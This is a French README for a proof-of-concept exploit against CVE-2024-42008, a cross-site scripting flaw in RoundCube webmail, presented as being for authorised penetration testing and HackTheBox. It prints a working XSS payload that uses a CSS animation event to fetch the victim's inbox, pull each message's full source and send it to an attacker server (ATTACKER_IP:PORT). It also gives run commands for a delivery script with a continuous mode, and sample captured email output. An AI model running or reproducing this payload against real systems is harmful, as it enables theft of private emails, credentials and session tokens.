
Preuve de concept d'exploitation pour CVE-2024-42008, une vulnérabilité de Cross-Site Scripting dans le webmail RoundCube. Distribue des charges utiles XSS via les formulaires de contact pour voler des emails, des identifiants et des jetons de session dans des environnements de test d'intrusion autorisés.
Ce dépôt contient un exploit de preuve de concept pour CVE-2024-42008, une vulnérabilité de type Cross-Site Scripting (XSS) dans l'application webmail RoundCube. Cet exploit est conçu à des fins éducatives et pour des environnements de test d'intrusion contrôlés comme HackTheBox.
La vulnérabilité existe dans rcmail_action_mail_get->run() et permet à des attaquants distants d'exécuter du JavaScript arbitraire dans le navigateur des victimes. Le défaut provient d'une validation insuffisante des entrées lors du traitement du contenu des e-mails, notamment dans la gestion des animations CSS et des contextes d'exécution JavaScript.
Vecteur d'attaque clé :
onanimationstart contournent les filtres de contenuUne exploitation réussie permet aux attaquants de :
L'exploit se compose de trois composants principaux :
// The core XSS payload uses CSS animations to trigger JavaScript
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=
// 1. Fetch email list from victim's INBOX
fetch('/?_task=mail&_action=list&_mbox=INBOX&_page=&_remote=1')
.then(r=>r.text())
.then(t=>{
// 2. Extract email UIDs using regex
[...t.matchAll(/this\\.add_message_row\\((\\d+),/g)].forEach(m=>{
// 3. For each email, fetch full source
fetch(`/?_task=mail&_uid=${m[1]}&_mbox=INBOX&_action=viewsource`)
.then(r=>r.text())
.then(data=>{
// 4. Exfiltrate email data to attacker server
fetch(`http://ATTACKER_IP:PORT/?data=${encodeURIComponent(data)}`)
})
})
})
; foo=bar">
pip install requests
# Single payload delivery
python cve-2024-42008-exploit.py
# Continuous mode (every 30 seconds)
python cve-2024-42008-exploit.py -c
# Custom interval (every 60 seconds)
python cve-2024-42008-exploit.py -c -i 60
# Debug mode with proxy
python cve-2024-42008-exploit.py -d
Modifier le script pour configurer :
ATTACKER_IP : L'adresse IP de votre serveur d'écouteATTACKER_PORT : Port pour recevoir les données exfiltréesRECIPIENT_EMAIL : Adresse e-mail cibleTARGET_URL : Instance RoundCube vulnérablePROXY : Serveur proxy pour le débogage (Burp Suite/Caido)| Option | Description |
|---|---|
-d, --debug | Activer le mode débogage avec support proxy |
-c, --continuous | Envoyer les charges utiles en continu |
-i, --interval | Intervalle entre les charges utiles (par défaut : 30s) |
Indicateurs de détection :
onanimationstart dans le HTMLStratégies d'atténuation :
Considérations de test :
⚠️ AVERTISSEMENT : Cet exploit est fourni à des fins éducatives et de test autorisé uniquement.
[+] Listening on 10.10.14.209:8001 for exfiltrated data...
[2024-07-09 10:30:15] POST Request Sent! Status Code: 200
[+] 📩 Captured Email Data:
Return-Path: <[email protected]>
Received: from localhost (localhost [127.0.0.1])
...
[Email content]
--------------------------------------------------
[+] 🔥 Email data saved to emails.log
Ce code est fourni à des fins éducatives et de test d'intrusion autorisé uniquement. Les auteurs ne sont pas responsables de toute utilisation abusive ou des dommages causés par ce logiciel. Assurez-vous toujours d'avoir une autorisation appropriée avant de tester un système.